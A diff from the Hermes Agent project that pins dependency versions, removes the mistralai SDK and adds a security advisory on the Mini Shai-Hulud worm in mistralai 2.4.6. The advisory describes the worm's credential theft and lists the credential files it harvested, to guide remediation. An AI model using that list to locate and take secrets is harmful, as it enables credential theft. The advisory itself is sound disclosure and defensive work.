|
{ name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" },
|
||||||
{ name = "aiosqlite", marker = "extra == 'matrix'", specifier = ">=0.20" },
|
{ name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" },
|
||||||
{ name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = ">=2.0.0" },
|
{ name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" },
|
||||||
{ name = "anthropic", specifier = ">=0.39.0,<1" },
|
{ name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" },
|
||||||
{ name = "asyncpg", marker = "extra == 'matrix'", specifier = ">=0.29" },
|
{ name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" },
|
||||||
{ name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" },
|
{ name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" },
|
||||||
{ name = "boto3", marker = "extra == 'bedrock'", specifier = ">=1.35.0,<2" },
|
{ name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" },
|
||||||
{ name = "croniter", specifier = ">=6.0.0,<7" },
|
{ name = "croniter", specifier = "==6.0.0" },
|
||||||
{ name = "daytona", marker = "extra == 'daytona'", specifier = ">=0.148.0,<1" },
|
{ name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" },
|
||||||
{ name = "debugpy", marker = "extra == 'dev'", specifier = ">=1.8.0,<2" },
|
{ name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" },
|
||||||
{ name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = ">=0.20,<1" },
|
{ name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" },
|
||||||
{ name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = ">=2.7.1,<3" },
|
{ name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" },
|
||||||
{ name = "edge-tts", specifier = ">=7.2.7,<8" },
|
{ name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" },
|
||||||
{ name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = ">=1.0,<2" },
|
{ name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" },
|
||||||
{ name = "exa-py", specifier = ">=2.9.0,<3" },
|
{ name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" },
|
||||||
{ name = "fal-client", specifier = ">=0.13.1,<1" },
|
{ name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" },
|
||||||
{ name = "fastapi", marker = "extra == 'rl'", specifier = ">=0.104.0,<1" },
|
{ name = "fastapi", marker = "extra == 'rl'", specifier = "==0.133.1" },
|
||||||
{ name = "fastapi", marker = "extra == 'web'", specifier = ">=0.104.0,<1" },
|
{ name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" },
|
||||||
{ name = "faster-whisper", marker = "extra == 'voice'", specifier = ">=1.0.0,<2" },
|
{ name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" },
|
||||||
{ name = "fire", specifier = ">=0.7.1,<1" },
|
{ name = "fire", specifier = "==0.7.1" },
|
||||||
{ name = "firecrawl-py", specifier = ">=4.16.0,<5" },
|
{ name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" },
|
||||||
{ name = "google-api-python-client", marker = "extra == 'google'", specifier = ">=2.100,<3" },
|
{ name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" },
|
||||||
{ name = "google-auth-httplib2", marker = "extra == 'google'", specifier = ">=0.2,<1" },
|
{ name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" },
|
||||||
{ name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = ">=1.0,<2" },
|
{ name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" },
|
||||||
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" },
|
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" },
|
||||||
|
{ name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" },
|
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" },
|
||||||
{ name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" },
|
||||||
|
|
@ -2219,8 +2224,12 @@ requires-dist = [
|
||||||
{ name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" },
|
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" },
|
||||||
|
{ name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'" },
|
||||||
|
{ name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'" },
|
||||||
|
{ name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" },
|
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" },
|
||||||
|
{ name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" },
|
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" },
|
||||||
{ name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" },
|
||||||
|
|
@ -2232,9 +2241,8 @@ requires-dist = [
|
||||||
{ name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" },
|
{ name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" },
|
||||||
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" },
|
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" },
|
||||||
{ name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" },
|
|
||||||
{ name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" },
|
|
||||||
{ name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" },
|
||||||
|
{ name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" },
|
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" },
|
||||||
{ name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" },
|
||||||
|
|
@ -2249,60 +2257,59 @@ requires-dist = [
|
||||||
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" },
|
||||||
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" },
|
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" },
|
||||||
{ name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" },
|
{ name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" },
|
||||||
{ name = "hindsight-client", marker = "extra == 'hindsight'", specifier = ">=0.4.22" },
|
{ name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" },
|
||||||
{ name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" },
|
{ name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" },
|
||||||
{ name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" },
|
{ name = "httpx", extras = ["socks"], specifier = "==0.28.1" },
|
||||||
{ name = "jinja2", specifier = ">=3.1.5,<4" },
|
{ name = "jinja2", specifier = "==3.1.6" },
|
||||||
{ name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" },
|
{ name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" },
|
||||||
{ name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" },
|
{ name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" },
|
||||||
{ name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" },
|
{ name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" },
|
||||||
{ name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" },
|
{ name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" },
|
||||||
{ name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" },
|
{ name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" },
|
||||||
{ name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" },
|
{ name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" },
|
||||||
{ name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" },
|
{ name = "modal", marker = "extra == 'modal'", specifier = "==1.3.4" },
|
||||||
{ name = "modal", marker = "extra == 'modal'", specifier = ">=1.0.0,<2" },
|
{ name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" },
|
||||||
{ name = "numpy", marker = "extra == 'voice'", specifier = ">=1.24.0,<3" },
|
{ name = "openai", specifier = "==2.24.0" },
|
||||||
{ name = "openai", specifier = ">=2.21.0,<3" },
|
{ name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" },
|
||||||
{ name = "parallel-web", specifier = ">=0.4.2,<1" },
|
{ name = "prompt-toolkit", specifier = "==3.0.52" },
|
||||||
{ name = "prompt-toolkit", specifier = ">=3.0.52,<4" },
|
{ name = "psutil", specifier = "==7.2.2" },
|
||||||
{ name = "psutil", specifier = ">=5.9.0,<8" },
|
{ name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" },
|
||||||
{ name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" },
|
{ name = "pydantic", specifier = "==2.12.5" },
|
||||||
{ name = "pydantic", specifier = ">=2.12.5,<3" },
|
{ name = "pyjwt", extras = ["crypto"], specifier = "==2.12.1" },
|
||||||
{ name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" },
|
{ name = "pytest", marker = "extra == 'dev'", specifier = "==9.0.2" },
|
||||||
{ name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10" },
|
{ name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" },
|
||||||
{ name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0,<2" },
|
{ name = "pytest-split", marker = "extra == 'dev'", specifier = "==0.11.0" },
|
||||||
{ name = "pytest-split", marker = "extra == 'dev'", specifier = ">=0.9,<1" },
|
{ name = "pytest-xdist", marker = "extra == 'dev'", specifier = "==3.8.0" },
|
||||||
{ name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.0,<4" },
|
{ name = "python-dotenv", specifier = "==1.2.1" },
|
||||||
{ name = "python-dotenv", specifier = ">=1.2.1,<2" },
|
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" },
|
||||||
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = ">=22.6,<23" },
|
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" },
|
||||||
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = ">=22.6,<23" },
|
{ name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" },
|
||||||
{ name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = ">=2.0.0,<3" },
|
{ name = "pyyaml", specifier = "==6.0.3" },
|
||||||
{ name = "pyyaml", specifier = ">=6.0.2,<7" },
|
{ name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" },
|
||||||
{ name = "qrcode", marker = "extra == 'dingtalk'", specifier = ">=7.0,<8" },
|
{ name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" },
|
||||||
{ name = "qrcode", marker = "extra == 'feishu'", specifier = ">=7.0,<8" },
|
{ name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" },
|
||||||
{ name = "qrcode", marker = "extra == 'messaging'", specifier = ">=7.0,<8" },
|
{ name = "requests", specifier = "==2.33.0" },
|
||||||
{ name = "requests", specifier = ">=2.33.0,<3" },
|
{ name = "rich", specifier = "==14.3.3" },
|
||||||
{ name = "rich", specifier = ">=14.3.3,<15" },
|
{ name = "ruamel-yaml", specifier = "==0.18.17" },
|
||||||
{ name = "ruamel-yaml", specifier = ">=0.18.16,<0.19" },
|
{ name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" },
|
||||||
{ name = "ruff", marker = "extra == 'dev'" },
|
{ name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" },
|
||||||
{ name = "simple-term-menu", marker = "extra == 'cli'", specifier = ">=1.0,<2" },
|
{ name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" },
|
||||||
{ name = "slack-bolt", marker = "extra == 'messaging'", specifier = ">=1.18.0,<2" },
|
{ name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" },
|
||||||
{ name = "slack-bolt", marker = "extra == 'slack'", specifier = ">=1.18.0,<2" },
|
{ name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" },
|
||||||
{ name = "slack-sdk", marker = "extra == 'messaging'", specifier = ">=3.27.0,<4" },
|
{ name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" },
|
||||||
{ name = "slack-sdk", marker = "extra == 'slack'", specifier = ">=3.27.0,<4" },
|
{ name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" },
|
||||||
{ name = "sounddevice", marker = "extra == 'voice'", specifier = ">=0.4.6,<1" },
|
{ name = "tenacity", specifier = "==9.1.4" },
|
||||||
{ name = "tenacity", specifier = ">=9.1.4,<10" },
|
|
||||||
{ name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" },
|
{ name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" },
|
||||||
{ name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" },
|
{ name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" },
|
||||||
{ name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" },
|
{ name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" },
|
||||||
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" },
|
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = "==0.41.0" },
|
||||||
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" },
|
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" },
|
||||||
{ name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" },
|
{ name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" },
|
||||||
{ name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" },
|
{ name = "wandb", marker = "extra == 'rl'", specifier = "==0.25.1" },
|
||||||
{ name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" },
|
{ name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" },
|
||||||
{ name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = ">=1.2.0" },
|
{ name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" },
|
||||||
]
|
]
|
||||||
provides-extras = ["modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"]
|
provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "hf-transfer"
|
name = "hf-transfer"
|
||||||
|
|
@ -2688,15 +2695,6 @@ wheels = [
|
||||||
{ url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" },
|
{ url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" },
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "jsonpath-python"
|
|
||||||
version = "1.1.5"
|
|
||||||
source = { registry = "https://pypi.org/simple" }
|
|
||||||
sdist = { url = "https://files.pythonhosted.org/packages/2d/db/2f4ecc24da35c6142b39c353d5b7c16eef955cc94b35a48d3fa47996d7c3/jsonpath_python-1.1.5.tar.gz", hash = "sha256:ceea2efd9e56add09330a2c9631ea3d55297b9619348c1055e5bfb9cb0b8c538", size = 87352, upload-time = "2026-03-17T06:16:40.597Z" }
|
|
||||||
wheels = [
|
|
||||||
{ url = "https://files.pythonhosted.org/packages/28/50/1a313fb700526b134c71eb8a225d8b83be0385dbb0204337b4379c698cef/jsonpath_python-1.1.5-py3-none-any.whl", hash = "sha256:a60315404d70a65e76c9a782c84e50600480221d94a58af47b7b4d437351cb4b", size = 14090, upload-time = "2026-03-17T06:16:39.152Z" },
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "jsonschema"
|
name = "jsonschema"
|
||||||
version = "4.26.0"
|
version = "4.26.0"
|
||||||
|
|
@ -3117,25 +3115,6 @@ wheels = [
|
||||||
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
|
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "mistralai"
|
|
||||||
version = "2.3.0"
|
|
||||||
source = { registry = "https://pypi.org/simple" }
|
|
||||||
dependencies = [
|
|
||||||
{ name = "eval-type-backport" },
|
|
||||||
{ name = "httpx" },
|
|
||||||
{ name = "jsonpath-python" },
|
|
||||||
{ name = "opentelemetry-api" },
|
|
||||||
{ name = "opentelemetry-semantic-conventions" },
|
|
||||||
{ name = "pydantic" },
|
|
||||||
{ name = "python-dateutil" },
|
|
||||||
{ name = "typing-inspection" },
|
|
||||||
]
|
|
||||||
sdist = { url = "https://files.pythonhosted.org/packages/4d/05/40c38c8893f0ec858756b30f4a939378fc62cf33565af538a843497f3f24/mistralai-2.3.0.tar.gz", hash = "sha256:eb371a9b3b62552f3d4a274ecf5b2c48b90fd3439ecd1425e7f5163cdd87e29a", size = 387145, upload-time = "2026-04-03T15:06:48.927Z" }
|
|
||||||
wheels = [
|
|
||||||
{ url = "https://files.pythonhosted.org/packages/bd/57/d06cbfd96ec6dc45d5c1fe9456f7fcfcb9549c9fa91e213561d1d88729e7/mistralai-2.3.0-py3-none-any.whl", hash = "sha256:22111747c215f1632141660151924f06579f87cd8db2649e0b1f87721d076851", size = 925544, upload-time = "2026-04-03T15:06:47.593Z" },
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "modal"
|
name = "modal"
|
||||||
version = "1.3.4"
|
version = "1.3.4"
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,138 @@
|
||||||
|
# Hermes Agent — Security Advisory: Mini Shai-Hulud worm (mistralai 2.4.6)
|
||||||
|
|
||||||
|
**Date:** May 12, 2026
|
||||||
|
**Status:** Quarantined upstream / mitigated in Hermes
|
||||||
|
**Severity:** Critical
|
||||||
|
**Affected:** Users who installed `hermes-agent[all]` or `hermes-agent[mistral]` between the upload of `mistralai 2.4.6` and PyPI's quarantine of the package.
|
||||||
|
|
||||||
|
## What happened
|
||||||
|
|
||||||
|
The Mini Shai-Hulud supply-chain worm crossed from npm to PyPI on 2026-05-12.
|
||||||
|
Among the compromised PyPI artifacts was `mistralai 2.4.6` — the official
|
||||||
|
Mistral AI Python SDK. The worm steals credentials from environment
|
||||||
|
variables and credential files (`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`,
|
||||||
|
GitHub PATs, cloud SDK tokens) and exfils them to a hardcoded webhook.
|
||||||
|
|
||||||
|
Hermes Agent listed `mistralai>=2.3.0,<3` as the runtime dependency for its
|
||||||
|
optional Mistral TTS / STT providers. Users who installed
|
||||||
|
`pip install -e ".[all]"` between the malicious upload and the quarantine
|
||||||
|
pulled `mistralai 2.4.6` into their venv. PyPI has since removed the project
|
||||||
|
(`pypi:project-status: quarantined`), so the package is no longer
|
||||||
|
installable, but copies that landed before quarantine remain in users'
|
||||||
|
environments.
|
||||||
|
|
||||||
|
## Am I affected?
|
||||||
|
|
||||||
|
Run on the host where you installed Hermes:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
hermes doctor
|
||||||
|
```
|
||||||
|
|
||||||
|
If the **Security Advisories** section flags
|
||||||
|
`mistralai==2.4.6`, you have the compromised package and must remediate.
|
||||||
|
If it flags any **other** version of `mistralai`, you are not on the
|
||||||
|
compromised release — but we still recommend uninstalling, since the
|
||||||
|
project is currently quarantined and we have disabled Mistral TTS / STT
|
||||||
|
in Hermes regardless.
|
||||||
|
|
||||||
|
You can also check manually:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip show mistralai 2>/dev/null | grep -i version
|
||||||
|
```
|
||||||
|
|
||||||
|
## What we've done in Hermes Agent
|
||||||
|
|
||||||
|
1. **Removed `mistral` from the `[all]` extra** so fresh installs no
|
||||||
|
longer pull the package by default. (PR #24205, already on main.)
|
||||||
|
2. **Disabled the Mistral TTS and STT providers** in the runtime — they
|
||||||
|
return a "temporarily disabled" error and won't import the SDK even
|
||||||
|
if the venv still has it.
|
||||||
|
3. **Added a security advisory checker** (`hermes doctor` and CLI startup
|
||||||
|
banner) that detects `mistralai 2.4.6` if it's still installed and
|
||||||
|
surfaces remediation steps. The banner is rate-limited (max once per
|
||||||
|
24h per advisory) and dismissible via `hermes doctor --ack`.
|
||||||
|
4. **Hardened the installer fallback tiers.** When one extra's
|
||||||
|
dependency becomes unavailable on PyPI, the installer now degrades
|
||||||
|
gracefully — keeping every other extra — instead of dropping all the
|
||||||
|
way to a stripped install. Future supply-chain incidents won't
|
||||||
|
silently demote users.
|
||||||
|
5. **Added a lazy-install framework** (`tools/lazy_deps.py`) so opt-in
|
||||||
|
backends (Mistral, ElevenLabs, Honcho, etc.) can be installed on
|
||||||
|
demand when the user enables them, rather than eagerly at install
|
||||||
|
time. This shrinks every fresh install's blast radius for future
|
||||||
|
single-package compromises.
|
||||||
|
|
||||||
|
## What you should do
|
||||||
|
|
||||||
|
If `hermes doctor` flags `mistralai==2.4.6`, treat the credentials in
|
||||||
|
your environment as exposed:
|
||||||
|
|
||||||
|
1. **Uninstall the compromised package:**
|
||||||
|
```bash
|
||||||
|
pip uninstall -y mistralai
|
||||||
|
# or, if you installed via uv:
|
||||||
|
uv pip uninstall mistralai
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Rotate API keys.** Every key in `~/.hermes/.env` should be rotated:
|
||||||
|
OpenRouter, Anthropic, OpenAI, Nous, GitHub, AWS, Google, Mistral,
|
||||||
|
and any other provider tokens you have configured. If you used a
|
||||||
|
shell that exported keys (`.bashrc`, `.zshrc`, etc.), rotate those
|
||||||
|
too.
|
||||||
|
|
||||||
|
3. **Audit credential files** for tokens that may have been read:
|
||||||
|
`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`,
|
||||||
|
`~/.docker/config.json`, `~/.kube/config`, `~/.ssh/`. The worm
|
||||||
|
harvested files matching these patterns.
|
||||||
|
|
||||||
|
4. **Check GitHub** for unexpected new SSH keys, deploy keys, or webhook
|
||||||
|
additions on repositories you have admin on. The worm uses stolen
|
||||||
|
GitHub tokens to add backdoors.
|
||||||
|
|
||||||
|
5. **After cleanup**, dismiss the Hermes warning:
|
||||||
|
```bash
|
||||||
|
hermes doctor --ack shai-hulud-2026-05
|
||||||
|
```
|
||||||
|
|
||||||
|
## When will Mistral TTS / STT come back?
|
||||||
|
|
||||||
|
When PyPI restores the `mistralai` project to a clean release and we
|
||||||
|
verify the new release on a clean network, we will re-enable Mistral
|
||||||
|
TTS / STT in Hermes Agent. Until then, use Edge TTS (default, no key),
|
||||||
|
ElevenLabs, OpenAI TTS, MiniMax TTS, or any of the user-defined command
|
||||||
|
providers. For STT, use Groq Whisper or OpenAI Whisper.
|
||||||
|
|
||||||
|
## Future hardening
|
||||||
|
|
||||||
|
This incident exposed two structural weaknesses in our install path:
|
||||||
|
|
||||||
|
- Eager-install of every optional extra meant ONE compromised package
|
||||||
|
could break the whole `[all]` resolve. **Fixed** via tiered fallback +
|
||||||
|
lazy-install framework.
|
||||||
|
- Users had no way to know whether they had a poisoned dependency.
|
||||||
|
**Fixed** via `hermes_cli/security_advisories.py` and the
|
||||||
|
`hermes doctor` integration.
|
||||||
|
|
||||||
|
We will continue to extend `tools/lazy_deps.py` so additional opt-in
|
||||||
|
backends (Slack, Matrix, Bedrock, DingTalk, Feishu, Google Workspace,
|
||||||
|
YouTube transcripts, etc.) can be installed on first use rather than
|
||||||
|
eagerly. This reduces the blast radius of any future single-package
|
||||||
|
compromise.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- Socket Security report: <https://socket.dev/blog/mini-shai-hulud-worm-pypi>
|
||||||
|
- PyPI quarantine: <https://pypi.org/simple/mistralai/>
|
||||||
|
(project-status: quarantined as of 2026-05-12)
|
||||||
|
- Hermes Agent PR (mistral disabled): #24205
|
||||||
|
- Hermes Agent PR (advisory checker + lazy installs): _this PR_
|
||||||
|
- GitHub security advisory: _to be filed alongside this PR_
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
Reported via [@SocketSecurity](https://twitter.com/SocketSecurity) and
|
||||||
|
the broader supply-chain security community. Hermes Agent's response
|
||||||
|
(detection, lazy-install framework, installer tier hardening) was built
|
||||||
|
by the Hermes Agent team at Nous Research.
|
||||||
Loading…
Add table
Add a link
Reference in a new issue